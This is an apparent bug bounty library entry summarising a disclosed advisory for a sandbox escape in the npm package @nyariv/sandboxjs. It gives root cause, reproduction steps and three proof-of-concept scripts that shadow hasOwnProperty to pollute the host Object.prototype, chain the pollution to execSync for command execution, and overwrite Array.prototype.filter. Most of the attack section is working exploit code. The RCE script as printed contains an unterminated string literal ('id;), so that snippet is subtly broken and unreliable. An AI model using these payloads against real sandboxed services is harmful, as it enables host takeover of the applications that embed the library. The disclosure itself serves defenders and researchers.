# @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

SandboxJS property-access path trusts attacker-shadowed hasOwnProperty, skipping prototype whitelist and allowing host Object.prototype pollution and RCE via gadgets.

- Payout: Research
- Severity: critical
- Program: SandboxJS
- Found by: sofianeelhor
- Disclosed: 2026-02-05
- CVE: CVE-2026-25586
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jjpw-65fv-8g48
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jjpw-65fv-8g48
- Tags: area:oss domain:oss impact:dos impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce vuln:sandbox-escape

**Target:** npm @nyariv/sandboxjs JS sandbox executor
**Root cause:** prototypeAccess check calls a.hasOwnProperty(b) on attacker-controlled sandbox objects; shadowing it to return true skips prototype whitelist enforcement, exposing __proto__ and host prototypes. Mutation guard also uses obj.context.hasOwnProperty, similarly bypassable.
**Steps:**
1. Build: `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration` then `node node_modules/rollup/dist/bin/rollup -c`; target `dist/node/Sandbox.js`.
2. Baseline: `sandbox.compile('return ({}).__proto__')().run()` throws (blocked).
3. Bypass: compile `const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.polluted = 'pwned'; return 'done';` and run.
4. Observe `({}).polluted === 'pwned'` on host Object.prototype.
5. RCE: set `proto.cmd = 'id'` in sandbox, then host `execSync(obj.cmd)` executes `id`.
6. Alt path without bypass: `const p = [].constructor.prototype; p.filter = 1;` mutates host Array.prototype.filter.
**How found:** Code review of executor.ts property-access path: noticed prototypeAccess relies on a.hasOwnProperty(b) on attacker-controlled object, and whitelist enforcement is gated on that boolean; hypothesized shadowing disables it.
**Exploitation:** Attacker-supplied sandboxed code shadows hasOwnProperty to reach __proto__, pollutes host Object.prototype with arbitrary properties (e.g. isAdmin, cmd), which downstream host code consuming those properties turns into logic bypass, DoS, or RCE via gadget like execSync.
**Escalation:** Prototype pollution chained to host gadget (execSync on polluted property) yields RCE; pollution persists across sandbox instances.
**Insight:** When a sandbox's security decision calls a method on the attacker-controlled object (hasOwnProperty, toString, valueOf), that method is itself attack surface — shadow it to flip the guard. Also check static prototype reachability like [].constructor.prototype for mutation paths that skip global checks.

## Proof of concept (copied exactly from the original report)

**Prototype whitelist bypass polluting host Object.prototype**

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
```

**RCE via polluted cmd and execSync**

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
```

**Mutate Array.prototype.filter via constructor.prototype**

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);
```

